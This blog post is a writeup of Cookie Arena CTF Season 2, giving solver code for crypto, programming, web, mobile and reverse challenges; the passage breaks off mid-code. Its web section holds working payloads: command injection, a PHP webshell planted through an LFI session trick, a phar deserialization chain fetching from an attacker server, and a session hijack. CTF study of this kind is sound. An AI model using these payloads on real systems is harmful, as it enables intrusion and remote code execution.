← Blog

Cookie Arena CTF Season 2 Writeup

Cookie Arena CTF Season 2 writeup — 26 challenges across Crypto, Web, Reverse, Mobile, and Forensic.

Crypto

Basic Operator

Description

Use mathematical knowledge and algebraic structures to decrypt the flag.

Link Download: https://drive.google.com/file/d/12t2NfEJISC_TSI0FFjqiHDEQmlGEH195/view?usp=drive_link (pass: cookiehanhoan)

Format FLAG: CHH{XXX}

Solution

Downloading the challenge gives a Python file:

from Crypto.Util import number
def padding_pkcs7(data,block_size=4):
tmp = len(data) + (block_size - len(data) % block_size)
return data.ljust(tmp,bytes([block_size-(len(data)%block_size)]))
def split_block(data,block_size):
return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size))
def plus_func(data,shift):
return (data+shift)&0xffffffff
def mul_func(data,mul):
return (data*mul)&0xffffffff
def xor_shift_right_func(data,bit_loc):
return (data^(data>>bit_loc))&0xffffffff
def pow_func(data,e,p):
return pow(data,e,p)
def exp_func(data,base,p):
return pow(base,data,p)
def ecb_mode(data):
return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4))
if __name__=='__main__':
p = 1341161101353773850779
e = 2
mess = b'CHH{CENSORED}'
cipher_flag = ecb_mode(mess)
print(cipher_flag)

Reverse each function (run in Sage):

from Crypto.Util.Padding import unpad
def rev_exp_func(rev, base, p):
R = Zmod(p)
data = discrete_log(R(rev), R(base))
return Integer(data)
def rev_pow_func1(rev, e, p):
R = Zmod(p)
return int(p - R(rev).nth_root(2))
def rev_pow_func2(rev, e, p):
R = Zmod(p)
return int(R(rev).nth_root(2))
def rev_shift_right_func(n):
n = format(n, "032b")
# print(n)
b = [0]
for i in range(32):
b.append(b[i] ^^ int(n[i]))
# assert len(b) == 32
return int("".join([str(i) for i in b[1:]]) , 2)
def rev_mul_func(rev, mul):
R = Zmod(0xffffffff + 1)
return int(R(rev)/ R(mul))
def rev_plus_func(rev, shift):
R = Zmod(0xffffffff + 1)
return int(R(rev)- R(shift))
def unpad_pksc7(padding):
return unpad(padding, 4)
def mix_block(list_block):
return [int.to_bytes(i, 4, "little") for i in list_block]
def decrypt1(cipher_block):
p = 1341161101353773850779
e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func1(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
def decrypt2(cipher_block):
p = 1341161101353773850779
e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func2(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
Cipher = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]
a = decrypt1(Cipher)
b = decrypt2(Cipher)
print(b[0] + b[1] + a[2] + b[3] + a[4] + a[5] + b[6] + a[7] + a[8] + b[9] + a[10] + b[11])

Two decrypt variants exist because of the pow function — the equation x2=ymodpx^2 = y \bmod p has two distinct roots.

Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}

Knapsack Ls

Description

The encryption system based on the Knapsack (subset-sum) problem is considered obsolete, but that doesn’t mean it’s trivial to break. Based on the Knapsack encryption implementation in knapsack.py, decrypt the cipher to recover the flag.

Link Download: https://drive.google.com/file/d/1YF328FF0rMWPw8IFa_jMzXytiM9MqVg9/view?usp=drive_link (pass: cookiehanhoan)

Solution

The integer Knapsack problem can be solved with LLL (run in Sage):

def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian
data = sum(data[i]<<i for i in range(bit_size))
return data.to_bytes(bit_size//8,'little')
def solve(A, a):
n = len(a)
list_mat = []
for i in range(0,n):
v = [0,] * i + [2,] + [0,] * (n - 1 - i) + [a[i],]
list_mat.append(v)
v = [1,] * n + [A,]
list_mat.append(v)
B = matrix(ZZ, list_mat)
B = B.LLL()
solution = []
for v in B:
if v[n] == 0:
x = []
for i in range(n):
if v[i] != 1 and v[i] != -1:
break
x.append((v[i]+1) // 2)
if len(x) == n:
t = 0
for i in range(0,n):
t += x[i] * a[i]
if t == A:
solution.append(x)
t = 0
for i in range(0, n):
t += (1-x[i]) * a[i]
x[i] = 1 - x[i]
if t == A:
solution.append(x)
return solution[0]
a = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]
cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'
def decrypt(block, public_key):
A = int.from_bytes(block, "little")
return convert_bin_bytes([int(i) for i in solve(A, public_key)], 32)
flag = b""
for i in range(0, len(cipher), 17):
flag += decrypt(cipher[i:i+17], a)
print(flag)

Flag: CTF{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}

Rubic Cipher

Description

The flag has been shuffled using an algorithm based on Rubik’s cube rotation mechanics. Study and apply this mechanism to recover the flag.

Link Download: https://drive.google.com/file/d/1MMTfyOtnTpIb59uyleONykER_iidt5L7/view?usp=drive_link (pass: cookiehanhoan)

Format FLAG: CHH{XXX}

Solution

Reconstruct the Rubik’s encryption algorithm using numpy:

import numpy as np
class Cube(object):
dimensions = 3
def __init__(self, block):
assert len(block) == 54
self.U = np.array([list(block[i:i+3]) for i in range(0,9,3)], dtype=np.dtype('b'))
self.L = np.array([list(block[i+9:i+12]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.F = np.array([list(block[i+12:i+15]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.R = np.array([list(block[i+15:i+18]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.B = np.array([list(block[i+18:i+21]) for i in range(0,33,12)], dtype=np.dtype('b'))
self.D = np.array([list(block[i:i+3]) for i in range(45,54,3)], dtype=np.dtype('b'))
def rot_x(self, prime=False):
'''Rotates the entire cube on R face.
Anticlockwise rotation is simply clockwise rotation * 3
'''
for i in range(3 if prime else 1):
bufU = self.U
self.U = self.F
self.F = self.D
self.D = self.B[::-1,::-1]
self.B = bufU[::-1,::-1]
self.R = np.rot90(self.R, k=-1)
self.L = np.rot90(self.L, k=1)
def rot_y(self, prime=False):
'''Rotates the entire cube on U face.
Anticlockwise rotation is simply clockwise rotation * 3
'''
for i in range(3 if prime else 1):
bufF = self.F
self.F = self.R
self.R = self.B
self.B = self.L
self.L = bufF
self.U = np.rot90(self.U, k=-1)
self.D = np.rot90(self.D, k=1)
def rot_F(self, prime=False):
'''Rotates face F
Anticlockwise rotation is simply clockwise rotation * 3
'''
self.F = np.rot90(self.F, k=1 if prime else -1)
for i in range(3 if prime else 1):
buf = self.L[:, -1].copy()
self.L[:, -1] = self.D[0]
self.D[0] = self.R[:, 0][::-1]
self.R[:, 0] = self.U[-1]
self.U[-1] = buf[::-1]
def rot_B(self, prime=False):
# B = 2y F 2y
# B' = 2y F' 2y
self.rot_y()
self.rot_y()
self.rot_F(prime)
self.rot_y()
self.rot_y()
def rot_L(self, prime=False):
# L = y' F y
# L'= y' F' y
self.rot_y(True)
self.rot_F(prime)
self.rot_y()
def rot_R(self, prime=False):
# R = y F y'
# R'= y F' y'
self.rot_y()
self.rot_F(prime)
self.rot_y(True)
def rot_U(self, prime=False):
# U = x' F x
# U' = x' F' x
self.rot_x(True)
self.rot_F(prime)
self.rot_x()
def rot_D(self, prime=False):
# D = x F x'
# D' = x F' x'
self.rot_x()
self.rot_F(prime)
self.rot_x(True)
def apply(self, move, prime=False):
getattr(self, "rot_"+move[0])(prime)
def scramble(self, scramble):
# Take each move and apply it, if it contains a'2', do it again
for move in scramble.split(' '):
m = move.replace("2", "")
self.apply(m, "'" in move)
if '2' in move:
self.apply(m, "'" in move)
def unscramble(self, scramble):
# Take the reversed move list, if no '2' in move, do the reverse, other
for move in scramble.split(' ')[::-1]:
m = move.replace("2", "")
self.apply(m, not "'" in move)
if '2' in move:
self.apply(m, not "'" in move)
def get_block_bytes(self):
out = b"".join(self.U.flatten())
out +=b"".join(np.array(list(zip(self.L,self.F,self.R,self.B))).flatten())
out += b"".join(self.D.flatten())
return out
def __str__(self):
indent = ' ' * self.dimensions + ' ' * (self.dimensions-1) + '\t'
out = indent
out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.U]) + '\n\n'
out += "\n".join(["\t".join([" ".join([str(tile) for tile in r]) for r in x]) for x in np.array(list(zip(self.L,self.F,self.R,self.B)))])
out += "\n\n"
out += indent
out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.D]) + '\n'
return out
def byte_enc_block(block, key):
c = Cube(block)
c.scramble(key)
return c.get_block_bytes()
def byte_dec_block(block, key):
c = Cube(block)
c.unscramble(key)
return c.get_block_bytes()
def xor(block, key):
return bytes([b ^ k for b, k in zip(block, key)])
iv = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
key ="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
cipher = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'
# Slight guess here — enc instead of dec works :D
c1 = byte_enc_block(cipher[0:54], key)
c2 = byte_enc_block(cipher[54:108], key)
print(xor(c1, iv) + xor(c2, cipher[0:54]))

Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}

RSA Percent Leak

Description

The RSA encryption system accidentally leaked the relationship between p and q (expressed as l). Use l to reconstruct p, q and recover the flag.

Link Download: https://drive.google.com/file/d/1jZsn98o-Eb7uWnuzfsSUmoK5VW4iJ0vf/view?usp=drive_link (pass: cookiehanhoan)

Solution

Observation:

((p & q) * (p ^ q) | 0x1337) % 2**k == (((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k
((p % 2**k) * (q % 2**k)) % 2**k == N % 2**k

We can therefore recover the bits of p and q bit-by-bit using backtracking:

from Crypto.Util.number import long_to_bytes
c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e
n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b
l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff
def b2d(x):
return int(x, 2)
def d2b(x):
return format(x,"b")
def check(p, q, k):
p = b2d(p)
q = b2d(q)
return ((((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k) and ((p % 2**k) * (q % 2**k)) % 2**k == n % 2**k
sol = []
def Try(p, q, k):
global n
if b2d(p) * b2d(q) >= n:
if b2d(p) * b2d(q) == n:
print(f"p =", b2d(p))
print(f"q =", b2d(q))
sol.append([b2d(p),b2d(q)])
# Terminate backtracking
n = 0
else:
for i in ("0", "1"):
for j in ("0", "1"):
p_ = i + p
q_ = j + q
if check(p_, q_, k + 1):
Try(p_, q_, k + 1)
N = n
Try("1", "1", 1)
p, q = sol[0]
phi = (p-1) * (q-1)
e = 65537
d = pow(e, -1, phi)
m = long_to_bytes(pow(c, d, N))
print(m)

Flag: CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}

Programming

Decrypt

Description

Tab is a very math-savvy student. After taking Cookie Arena’s “Security Awareness” course, he decided to apply mathematical techniques to encrypt his passwords. The password is a string S of length n (characters indexed 1 to n from left to right). Encryption proceeds as follows:

Iterate over all integer divisors of n in decreasing order from n to 1. For each divisor d, reverse the substring S[1…d] (the first d characters). After this procedure, the result is the encrypted password.

Example: Password cookiearenactf, length 14. Divisors of 14 in descending order: 14, 7, 2, 1.

d=14: reverse first 14 chars → cookiearenactf → ftcaneraeikooc
d=7: reverse first 7 chars → ftcaneraeikooc → renactfaeikooc
d=2: reverse first 2 chars → renactfaeikooc → ernactfaeikooc
d=1: reverse first 1 char → no change → ernactfaeikooc

Tab saves the encrypted password. Help him recover the original.

Input: First line: integer n (1≤n≤1000), the password length. Second line: string of length n (lowercase Latin letters [a-z]), the encrypted password.

Output: Print the original password of length n. The original password is guaranteed to be unique.

Solution

def find_divisors(n):
divisors = []
for i in range(n, 0, -1):
if n % i == 0:
divisors.append(i)
return divisors
def reverse_substring(s, d):
return s[d-1::-1] + s[d:]
n = int(input())
encrypted_password = input()
divisors = find_divisors(n)
for d in divisors:
encrypted_password = reverse_substring(encrypted_password, d)
print(encrypted_password)

Identity Security

Description

Cookie Arena CTF Season II was a huge success with thousands of participants. Beyond the official top-10 prizes, the organizers also decided to send small physical gifts to high-scoring participants to encourage them in future contests. To announce the list, they use the participants’ usernames. However, usernames in the Cookie Arena system are personal emails or phone numbers — publishing these directly is prohibited. The organizers mask most characters, leaving just enough for participants to recognize themselves.

Masking rules:

Phone number: show first 2 digits and last 3 digits; mask the rest with '*'.
Email: keep first 2 and last 3 chars of the username plus the full domain; mask the rest.
If username length ≤ 7, keep only first and last character of username.
Email format is always username@domain.

Help the organizers mask participant identities!

Input: First line: integer N (1≤N≤1000), number of entries. Then N lines, each a phone number (9–11 digits) or an email address (contains exactly one ’@’).

Output: N lines with masked entries.

Solution

N = int(input())
for _ in range(N):
s = input().strip()
if s.isdigit():
print(s[:2] + '*'*(len(s)-5) + s[-3:])
else:
username, domain = s.split('@')
if len(username) <= 7:
print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain)
else:
print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)

Web

Be Positive

Description

Summary: Given a web app, log in with alice

or bob
.

Solution

This is a money-transfer system. The challenge name hints at negative-amount transfers.

Log in as Alice and modify the Burp Suite intercept to use a negative amount:

POST /?action=transfer HTTP/1.1
Host: be-positive-e048f4d8.dailycookie.cloud
Content-Length: 26
...
Connection: close
amount=-3000&recipient=bob

Flag: CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_3e87da18c5f0302fa2c467a9d5cd18f7}

Slow down

Description

Summary: Given a web app, log in with alice

or bob
.

Solution

Similar structure to Be Positive, but negative numbers are now filtered.

Notice that invalid transfers (amount < 0) are rejected quickly while valid transfers respond slowly. The challenge name suggests Race Condition.

Log in to Alice’s account on two devices simultaneously and transfer 1499 to Bob from both at the same time → Done ~~

Youtube Downloader

Description

Youtube Downloader is a tool for downloading videos from Youtube for free. If you hack this app, you’ll know how these sites actually work.

Solution

Testing with a URL, we see the youtube-dl command in the response — obvious command injection opportunity.

However, spaces are filtered in the URL, so replace spaces with ${IFS}:

Payload:

1. https://www.youtube.com/watch?v=fyf;ls${IFS}-a${IFS}/
2. https://www.youtube.com/watch?v=fyf;cat${IFS}/flag.txt

Flag: CHH{Ea5y_cOmmaND_inj3c7Ion_2916ac0127955a1d9953fb2cc712d33d}

Pass Code

Description

You cannot crack this extremely secure Pass Code.

Solution

Use https://deobfuscate.relative.im to deobfuscate the JavaScript.

Open ”./flag.php” — it reveals the passcode is the decrypt key.

Enter “bánh quy chấm sữa” to get the flag.

Flag: CHH{jAvAscRIP7_o8FuSCaTe_64acf3ed9f93904f6205709b47c8be28}

Magic Hash

Description

Examine the login function — it contains a serious vulnerability. The FLAG is stored in /flag.txt; find a way to read it.

Solution

Log in with password = 34250003024812.

That gives sha256 = 0e46289032038065916139621039085883773413820991920706299695051332.

Magically, "0e46289032038065916139621039085883773413820991920706299695051332" == "0" in PHP (magic hash / type juggling).

We reach the upload page and upload a simple shell — reference shell at Link.

Flag: CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_8f9e3b92113749568a033b1a5fb20a4e}

Magic Login Harder

Description Examine the login function — it contains a serious vulnerability. The FLAG is stored in /flagXXX.txt; find a way to read it.

Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Downloading the source code, we spot an md5 collision vulnerability:

if(isset($_POST["submit"])){
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
if(($username == $password)){
echo 'Username and password are not the same';
}
else if((md5($username)===md5($password))){
$_SESSION['username'] = $username;
header('Location: admin.php?file=1.txt');
} else {
echo 'Username and password are wrong';
}
}

Observation

import hashlib
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"Any data"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()

So we can log in with any username/password combination.

Sang trang admin

header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
}
else{
die("Only admin can use this");
}

This is clearly an LFI bug. Since we don’t know the flag filename, we need LFI2RCE.

LFI2RCE via PHP_SESSION

Running a local Docker instance reveals the session directory is /tmp.

Test with /admin.php?file=/tmp/sess_fa76434b7b0aa122ef4b03aa9f8a3e99:

The session file includes the username field — what if we set username = ... <?php something ?>?

We just need to change the z value:

import hashlib
from base64 import b64encode as b
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"<?php system($_GET['cmd']);?>"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()
print(b(x+z))
print(b(y+z))

Payload /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=ls%20/

Continue: /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=cat%20/flagGZXLf.txt

Flag: CHH{7yPE_jU66lin9_hArdEr_df929768446acbfd50193567fa46ecdc}

Suck it

Description

You have infiltrated the chat channel of a secret organization. The admin is a shady character — he smuggles weapons and worse. But he always whispers secrets to his lover. Help me find that secret. I’ll provide you with the site’s source code.

Download challenge: https://drive.google.com/file/d/17LcN4BLMjSyWfT7BofysYjMio4OY2EdO/view?usp=drive_link (pass: cookiehanhoan)

Solution

Key observation: after a forced disconnect, the server sends back the sessionID of the disconnected user.

Enable Burp Suite intercept and send payload: 42["force disconnect","ADMIN","574a94b04f303f5663e833b883cd2b23"]

We receive the admin’s sessionID.

Replace the sessionID in local storage.

Now we’re admin — time to message the girlfriend.

Flag: CHH{H4ve_y0u_re4d_th3_m3ssage_babef0fdf5e83d09a24e9b60c421c3c9}

Video Extractor

Description

Video Link Extractor retrieves metadata from online video services like YouTube, Vimeo. It has a serious vulnerability — find it and exploit it to read the FLAG stored in flag.php.

Download challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link

Solution

Downloading the challenge and checking utils.php, we can abuse log_error to write files:

public function log_error($e){
$_error_file = "/tmp/".time().".log";
error_log($e, 3, $_error_file);
}
public function __wakeup(){
try
{
// check if format file is exists?
include $this->_file;
}
catch (Exception $e)
{
throw $e;
}
}
GET /index.php?mode=extract&host=<?=`tail+flag.php`?> HTTP/2

The time() function returns the current timestamp, so the filename is easy to predict.

Current timestamp: 1688985073.

The __wakeup magic method includes the file at $this->_file.

In the local case, we can concatenate with id, exploit the redirect mode, craft a payload and point it to a public server:

Request to get the flag:

GET /?mode=extract&id=%3fmode%3dredirect%26url%3dhttp%3a//your_ip/payload.txt&host=local HTTP/2

Flag: CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_e7e2e2fdbb91037b93a792695fdb8cff}

Mobile

Cat Me

Description Ordinary users see nothing. But hackers always find another way. The app runs on Android API 24+.

Download challenge: https://drive.google.com/file/d/1Uq8wLlBl3glN5nbHMW5tkiP5IDrZlJ0D/view?usp=drive_link (pass: cookiehanhoan)

Solution

Use jadx and search for the string “flag” (vibes-based forensics ._.)

We find this code:

Concatenate the pieces and we have the real flag.

Flag: CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}

Description

A highly secure connection between user and server has been established. An attacker cannot intercept the traffic. The app runs on Android API 24+.

Download challenge: https://drive.google.com/file/d/1oagLC-ryf9leAl4LrD9zVETTB6cPZDk_/view?usp=drive_link (pass: cookiehanhoan)

Solution

Running the APK gives us a login screen.

Back in jadx, we spot MainActivity — inspect it first:

We can guess the credentials are admin:sTroN6PaSswORD, but the app returns ‘cannot connect to server’.

We need to capture HTTPS traffic in Burp Suite, but SSL pinning blocks this. We’ll use SSL Pinning Bypass.

See this guide for setting up a Frida-based proxy.

Note: not every Frida script works well. Recommended script (tested, bypasses 5/6 SSL pinning demos): https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

And we get the flag.

Flag: CHH{yoU_c4N_bYP45S_sSL_PInninG}

Reverse

Pyreverse

Description

While analyzing game-automation tools, we encountered a common technique for packaging programs. Identify the technique, reverse-engineer it, and extract the hidden FLAG inside.

Download Challenge https://drive.google.com/file/d/18g2ZqlfYS4pfEZbAxJD1_9wIVp3KS1A-/view?usp=drive_link (pass: cookiehanhoan)

Solution

The exe is packed with pyinstaller, so we can use pydumpck to unpack the original .py file.

How to use pydumpck

Inspecting pyreverser.pyc.cdc.py in the output folder, we see the flag is base64-encoded in the main function.

import base64
def reverse_string(s):
return s[::-1]
def scramble_flag(flag):
scrambled = ''
for i, char in enumerate(flag):
if i % 2 == 0:
scrambled += chr(ord(char) + 1)
continue
scrambled += chr(ord(char) - 1)
return scrambled
def main():
print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ=='))
secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode())
print('Welcome to PyReverser!')
print('Please enter a word or phrase:')
user_input = input()
generated_value = scramble_flag(reverse_string(user_input.upper()))
print('Generated value:', generated_value)
print('Can you find the hidden flag?')
reversed_flag = reverse_string(secret_flag)
print('Reversed flag:', reversed_flag)
if __name__ == '__main__':
main()

Decode Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ== to get the flag.

Flag: CHH{python2Exi_Reverse_ENginering}

Jump

Description

This challenge simulates a software license-key generation algorithm. Run the program and reverse-engineer it to find the hidden FLAG.

Download challenge: https://drive.google.com/file/d/1nCOaD5emAyAqQmJrhB8hlu4UdCbBmRuH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Open IDA and inspect the main function:

Analysis: the function takes a function pointer as argument. Using IDA’s debugger and entering the address of _flag:

Flag: CHH{JUMP_T0_TH3_M00N}

Rev1

Description

This challenge simulates a software license-key generation algorithm. Run the program and reverse-engineer it to find the hidden FLAG.

Download challenge: https://drive.google.com/file/d/1rzlX1TX4J8XDBuSUj3s8EtErXCOeKKVj/view?usp=sharing (pass: cookiehanhoan)

Solution

Running the file, we see a form with three buttons: Exit, Check, and About.

Load the file into IDA. We find WinMain — analyze the logic of DialogFunc:

After debugging, we see the password is checked via shellcode. Dumping and analyzing the assembly reveals it’s matrix multiplication:

xor ecx, ecx
movzx eax, byte ptr [edi+ecx]
imul eax, 6Eh
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 1C3h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 348h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 1F8h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 357h
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 46h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 16Fh
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 2FEh
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 17Ah
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 15Ah
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 326h
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 190h
sub eax, edx
inc ecx
mov eax, ecx
neg eax
dec eax
sub edi, eax
dec eax
mov dword ptr [esp+8], 0
call $+5
pop ecx
add ecx, 68h
mov [esp+4], ecx
mov ebx, eax
jmp short loc_770AB8
....
....
....
------------------------------------------------------------------------
loc_770AA5: E XREF: j
mov ecx, [esp+8]
add ecx, 1
mov [esp+8], ecx
cmp ecx, 8D42h
jnb short loc_770ADE
loc_770AB8: E XREF: j
mov eax, [esp+4]
add eax, [esp+8]
movsx ecx, byte ptr [eax]
mov eax, [esp+8]
cdq
idiv ebx
movsx edx, byte ptr [edi+edx]
xor ecx, edx
mov eax, [esp+8]
mov edx, [esp+4]
add edx, eax
mov [edx], cl
jmp short loc_770AA5
------------------------------------------------------------------------
loc_770ADE: E XREF: j
mov eax, large fs:30h
mov eax, [eax+8]
add eax, 1EC0h
mov ebx, [esp+4]
push ebx
call eax
pop ebx
add esp, 8
mov eax, 1
leave
retn
------------------------------------------------------------------------
loc_770AFE: E XREF: j
..
xor eax, eax
retn

Extract the matrix and vector values using Python:

import re
temp = []
def find_hex(line):
res = ""
for c in line:
if (c >= '0' and c <= '9') or (c >= 'A' and c <= 'F'):
res += c
return res
val = []
C = []
